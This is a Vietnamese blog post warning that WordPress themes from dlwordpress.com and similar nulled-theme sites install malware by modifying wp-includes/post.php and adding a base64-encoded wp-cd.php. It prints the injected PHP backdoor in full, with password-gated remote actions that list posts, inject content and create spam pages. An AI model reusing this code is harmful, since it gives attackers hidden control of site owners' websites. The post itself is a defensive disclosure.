HOT- Cảnh báo WordPress bị hack khi dùng themes từ dlwordpress.com

0
8

Thời gian gần đây trên các diễn đàn chia sẻ Themes nước ngoài liên tục có những cảnh báo về việc bị cài mã độc khi dùng các themes và plugins tải từ trang chia sẻ từ dlwordpress.com.

Khá nhiều bạn ở VN cũng download themes từ đây để dùng hoặc test thử.VHW khuyên các bạn hãy dừng việc download themes từ dlwordpress.com và các trang nulled khác như null24,themelock hay wplocker,…vì những themes bị cài mã độc có thể được download về rồi chia sẻ lại trên các trang này.

Mã độc được cài trên Themes ở dlwordpress.com như thế nào?

Các themes từ dlwordpress.com sẽ tự động thêm một số dòng code thay đổi một số tính năng mặc định của wordpress core vào file post.php trong thư mục wp-includes và tạo ra một file mới có tên wp-cd.php cũng trong thư mục wp-includes để tải mã độc đã được mã hóa.

Các code được thêm vào post.php như bên dưới:

body { font-family: monospace; padding: 0; margin: 0; } div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #F7F7F7; border: 1px solid ddd; border-radius:3px; } html.embedPBBody div.embedPastebin { border: none; } div.embedPastebin div.embedFooter { background: #F7F7F7; color: #333; font-size: 100%; padding: 6px 12px; border-bottom: 1px solid #ddd; text-transform:uppercase; } div.embedPastebin div.embedFooter a, div.embedPastebin div.embedFooter a:visited { color: #336699; text-decoration:none; } div.embedPastebin div.embedFooter a:hover { color: red; } .noLines ol { list-style-type: none; padding-left: 0.5em; } .embedPastebin{background-color:#F8F8F8;border:1px solid #ddd;font-size:12px;overflow:auto;margin: 0 0 0 0;padding:0 0 0 0;line-height:21px} .embedPastebin div { line-height:21px; font-family:Consolas, Menlo, Monaco, Lucida Console,'Bitstream Vera Sans Mono','Courier',monospace; } ol { margin:0; padding: 0 0 0 55px} ol li { border:0; margin:0;padding:0; } li.ln-xtra .de1, li.ln-xtra .de2 {background:#F8F8CE;} .embedPastebin ol li.li1 { margin: 0; } .embedPastebin ol li.li2 { margin: 0; } .php .de1, .php .de2 {-moz-user-select: text;-khtml-user-select: text;-webkit-user-select: text;-ms-user-select: text;user-select: text;margin:0; padding: 0 8px; background:none; vertical-align:top;color:#000;border-left: 1px solid #ddd; margin: 0 0 0 -7px; position: relative; background: #ffffff;}.php {color:#ACACAC;}.php .imp {font-weight: bold; color: red;}.php li, .php .li1 {-moz-user-select: -moz-none;-khtml-user-select: none;-webkit-user-select: none;-ms-user-select: none;user-select: none;}.php .ln {width:1px;text-align:right;margin:0;padding:0 2px;vertical-align:top;}.php .kw1 {color: #b1b100;}.php .kw2 {color: #000000; font-weight: bold;}.php .kw3 {color: #990000;}.php .kw4 {color: #009900; font-weight: bold;}.php .co1 {color: #666666; font-style: italic;}.php .co2 {color: #666666; font-style: italic;}.php .co3 {color: #0000cc; font-style: italic;}.php .co4 {color: #009933; font-style: italic;}.php .coMULTI {color: #666666; font-style: italic;}.php .es0 {color: #000099; font-weight: bold;}.php .es1 {color: #000099; font-weight: bold;}.php .es2 {color: #660099; font-weight: bold;}.php .es3 {color: #660099; font-weight: bold;}.php .es4 {color: #006699; font-weight: bold;}.php .es5 {color: #006699; font-weight: bold; font-style: italic;}.php .es6 {color: #009933; font-weight: bold;}.php .es_h {color: #000099; font-weight: bold;}.php .br0 {color: #009900;}.php .sy0 {color: #339933;}.php .sy1 {color: #000000; font-weight: bold;}.php .st0 {color: #0000ff;}.php .st_h {color: #0000ff;}.php .nu0 {color: #cc66cc;}.php .nu8 {color: #208080;}.php .nu12 {color: #208080;}.php .nu19 {color:#800080;}.php .me1 {color: #004000;}.php .me2 {color: #004000;}.php .re0 {color: #000088;}.php .ln-xtra, .php li.ln-xtra, .php div.ln-xtra {background:#FFFF88;}.php span.xtra { display:block; }

Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. <?php
  2.  
  3. if(isset($_REQUEST['action'])&&isset($_REQUEST['password'])&&($_REQUEST['password']=='{$PASSWORD}'))
  4.     {
  5.         switch($_REQUEST['action'])
  6.             {
  7.                 case'get_all_links';
  8.                     foreach($wpdb->get_results('SELECT * FROM `'.$wpdb->prefix.'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A)as$data)
  9.                         {
  10.                             $data['code']='';
  11.  
  12.                             if(preg_match('!

    (.*?)

    !s',$data['post_content'],$_))

  13.                                 {
  14.                                     $data['code']=$_[1];
  15.                                 }
  16.  
  17.                             print'1'.$data['guid'].''.$data['code'].''.$data['ID'].''."rn";
  18.                         }
  19.                 break;
  20.  
  21.                 case'set_id_links';
  22.                     if(isset($_REQUEST['data']))
  23.                         {
  24.                             $data=$wpdb->get_row('SELECT `post_content` FROM `'.$wpdb->prefix.'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');
  25.  
  26.                             $post_content=preg_replace('!

    (.*?)

    !s','',$data->post_content);

  27.                             if(!empty($_REQUEST['data']))$post_content=$post_content.'

    '.stripcslashes($_REQUEST['data']).'

    ';

  28.  
  29.                             if($wpdb->query('UPDATE `'.$wpdb->prefix.'posts` SET `post_content` = "'.mysql_escape_string($post_content).'" WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"')!==false)
  30.                                 {
  31.                                     print"true";
  32.                                 }
  33.                         }
  34.                 break;
  35.  
  36.                 case'create_page';
  37.                     if(isset($_REQUEST['remove_page']))
  38.                         {
  39.                             if($wpdb->query('DELETE FROM `'.$wpdb->prefix.'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
  40.                                 {
  41.                                     print"true";
  42.                                 }
  43.                         }
  44.                     elseif(isset($_REQUEST['content'])&&!empty($_REQUEST['content']))
  45.                         {
  46.                             if($wpdb->query('INSERT INTO `'.$wpdb->prefix.'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
  47.                                 {
  48.                                     print"true";
  49.                                 }
  50.                         }
  51.                 break;
  52.  
  53.                 default:print"ERROR_WP_ACTION WP_URL_CD";
  54.             }
  55.  
  56.         die("");
  57.     }
  58.  
  59.  
  60. if($wpdb->get_var('SELECT count(*) FROM `'.$wpdb->prefix.'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"')=='1')
  61.     {
  62.         $data=$wpdb->get_row('SELECT * FROM `'.$wpdb->prefix.'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
  63.         if($data->full_content)
  64.             {
  65.                 printstripslashes($data->content);
  66.             }
  67.         else
  68.             {
  69.                 print'';
  70.                 print'<html ';
  71.                 language_attributes();
  72.                 print' class="no-js">';
  73.                 print'';
  74.                 print''</span><span>.</span><span class="kw3">stripslashes</span><span class="br0">(</span><span class="re0">$data</span><span class="sy0">-></span><span class="me1">title</span><span class="br0">)</span><span class="sy0">.</span><span class="st_h">'';
  75.                 print'<meta name="Keywords" content="'.stripslashes($data->keywords).'" />';
  76.                 print'<meta name="Description" content="'.stripslashes($data->description).'" />';
  77.                 print'';
  78.                 print'<meta charset="';
  79.                 bloginfo('charset');
  80.                 print'" />';
  81.                 print'';
  82.                 print'';
  83.                 print'<link rel="pingback" href="';
  84.                 bloginfo('pingback_url');
  85.                 print'">';
  86.                 wp_head();
  87.                 print'';
  88.                 print'';
  89.                 print'

    ';
  90.                 printstripslashes($data->content);
  91.                 get_search_form();
  92.                 get_sidebar();
  93.                 get_footer();
  94.             }
  95.  
  96.         exit;
  97.     }

Và code trong file wp-cd.php khi được giải mã (bằng Base64 Decode) sẽ như sau:

body { font-family: monospace; padding: 0; margin: 0; } div.embedPastebin { padding: 0; color: #000; margin: 0; font-family: monospace; background: #F7F7F7; border: 1px solid ddd; border-radius:3px; } html.embedPBBody div.embedPastebin { border: none; } div.embedPastebin div.embedFooter { background: #F7F7F7; color: #333; font-size: 100%; padding: 6px 12px; border-bottom: 1px solid #ddd; text-transform:uppercase; } div.embedPastebin div.embedFooter a, div.embedPastebin div.embedFooter a:visited { color: #336699; text-decoration:none; } div.embedPastebin div.embedFooter a:hover { color: red; } .noLines ol { list-style-type: none; padding-left: 0.5em; } .embedPastebin{background-color:#F8F8F8;border:1px solid #ddd;font-size:12px;overflow:auto;margin: 0 0 0 0;padding:0 0 0 0;line-height:21px} .embedPastebin div { line-height:21px; font-family:Consolas, Menlo, Monaco, Lucida Console,'Bitstream Vera Sans Mono','Courier',monospace; } ol { margin:0; padding: 0 0 0 55px} ol li { border:0; margin:0;padding:0; } li.ln-xtra .de1, li.ln-xtra .de2 {background:#F8F8CE;} .embedPastebin ol li.li1 { margin: 0; } .embedPastebin ol li.li2 { margin: 0; } .php .de1, .php .de2 {-moz-user-select: text;-khtml-user-select: text;-webkit-user-select: text;-ms-user-select: text;user-select: text;margin:0; padding: 0 8px; background:none; vertical-align:top;color:#000;border-left: 1px solid #ddd; margin: 0 0 0 -7px; position: relative; background: #ffffff;}.php {color:#ACACAC;}.php .imp {font-weight: bold; color: red;}.php li, .php .li1 {-moz-user-select: -moz-none;-khtml-user-select: none;-webkit-user-select: none;-ms-user-select: none;user-select: none;}.php .ln {width:1px;text-al...